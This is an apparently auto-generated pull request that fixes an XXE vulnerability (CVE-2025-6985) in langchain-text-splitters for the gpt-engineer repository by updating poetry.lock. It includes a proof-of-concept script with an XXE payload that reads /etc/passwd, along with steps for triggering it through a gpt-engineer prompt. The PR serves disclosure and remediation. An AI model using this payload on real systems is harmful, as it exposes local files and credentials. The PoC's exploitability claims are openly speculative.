[Security] Fix HIGH vulnerability: CVE-2025-6985

[orbisai0security]

Security Fix

This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	High	In the gpt-engineer repository, which is a code generation tool likely processing text inputs, exploitation of the XXE vulnerability in langchain-text-splitters could allow an attacker to read sensitive local files if XML parsing is involved in text splitting operations, potentially exposing user data or configuration files. This could lead to significant data breaches, especially if the tool is run in environments with access to sensitive information.
Likelihood	Low	The gpt-engineer repository appears to be a CLI-based code generation tool not primarily designed for processing untrusted XML inputs, reducing the attack surface for XXE exploitation. Exploitation would require specific conditions where XML is parsed from user-provided text, which is unlikely in typical usage patterns of this tool.
Ease of Fix	Medium	Remediation involves updating the langchain dependency to a patched version as indicated in the provided commit and pull request links, which may require checking for API changes in langchain-text-splitters and re-testing the code generation functionality to ensure no breaking changes occur.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The langchain-text-splitters dependency in this repository (gpt-engineer) contains an XXE vulnerability that can be triggered when the text splitter processes user-provided input containing malicious XML. An attacker could exploit this by crafting a prompt or input text that includes XML with external entities, potentially allowing file reads or SSRF if the tool's text splitting functionality is invoked on such input. This is particularly relevant since gpt-engineer uses langchain for processing and splitting text during code generation workflows.

The langchain-text-splitters dependency in this repository (gpt-engineer) contains an XXE vulnerability that can be triggered when the text splitter processes user-provided input containing malicious XML. An attacker could exploit this by crafting a prompt or input text that includes XML with external entities, potentially allowing file reads or SSRF if the tool's text splitting functionality is invoked on such input. This is particularly relevant since gpt-engineer uses langchain for processing and splitting text during code generation workflows.

# Proof-of-Concept Exploitation Script
# This script demonstrates XXE exploitation in langchain-text-splitters as used in gpt-engineer.
# Prerequisites: The repository's poetry.lock includes the vulnerable langchain-text-splitters version.
# Run this in a test environment with the repo's dependencies installed via `poetry install`.

from langchain_text_splitters import HTMLHeaderTextSplitter  # This splitter is known to parse XML/HTML and is vulnerable to XXE

# Malicious XML payload designed to read /etc/passwd via XXE
malicious_xml = """
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
"""

# Initialize the splitter (gpt-engineer likely uses similar splitters for text processing)
splitter = HTMLHeaderTextSplitter(headers_to_split_on=[("h1", "Header 1")])

# Craft input that includes the malicious XML, simulating user input to gpt-engineer (e.g., a prompt with embedded XML)
input_text = f"""
# Some code generation prompt
{malicious_xml}
More text here for splitting.
"""

# Split the text - this triggers XML parsing and XXE if the splitter processes the XML
try:
    splits = splitter.split_text(input_text)
    print("Split results:", splits)
    # In a successful exploit, the XXE entity would be resolved, leaking file contents in error messages or output
    # Note: Actual leakage depends on how the splitter handles entities; in vulnerable versions, it may print or return the file content
except Exception as e:
    print("Error (potential XXE output):", str(e))
    # If XXE succeeds, the error or output might contain file contents like user hashes from /etc/passwd

# Steps to reproduce in the repository context:
# 1. Clone the repository: git clone https://github.com/AntonOsika/gpt-engineer
# 2. Install dependencies: cd gpt-engineer && poetry install (ensures vulnerable langchain-text-splitters is loaded)
# 3. Run the PoC script above in the repo's environment: python poc_xxe.py
# 4. Observe: If vulnerable, the script may output file contents (e.g., /etc/passwd) via XXE resolution in the splitter.
# 5. In gpt-engineer's actual usage, an attacker could embed similar XML in a prompt file or input, then run the tool (e.g., python -m gpt_engineer.main --prompt malicious_prompt.txt) to trigger splitting and exploitation.
# Note: Exploitation requires the input to reach a splitter that parses XML; test with repo's code to confirm paths.

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	High	Successful XXE could allow reading sensitive local files (e.g., /etc/passwd, API keys in ~/.bashrc, or configuration files in the repo directory), potentially exposing user credentials, OpenAI API keys used by gpt-engineer, or other secrets stored on the system running the tool.
System Compromise	Medium	While XXE primarily enables file reads, it could be chained with SSRF to access internal services or, in rare cases, execute code if combined with other vulnerabilities; however, direct system access (e.g., root) is unlikely without additional exploits.
Operational Impact	Low	Exploitation might cause parsing errors or crashes in text splitting, disrupting code generation workflows, but no widespread service outages or resource exhaustion are expected in this CLI-based tool.
Compliance Risk	Medium	Could violate OWASP Top 10 (A04:2021 - Insecure Design) and GDPR if user data or prompts contain personal information leaked via file reads; may impact security audits for AI tools handling sensitive inputs.

Vulnerability Details

• Rule ID: CVE-2025-6985
• File: poetry.lock
• Description: langchain-text-splitters: XXE Vulnerability in langchain-text-splitters

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• poetry.lock

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.

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Skipped PR review on 93db973 because no changed files had a supported extension. If you think this was in error, please contact us and we'll fix it right away.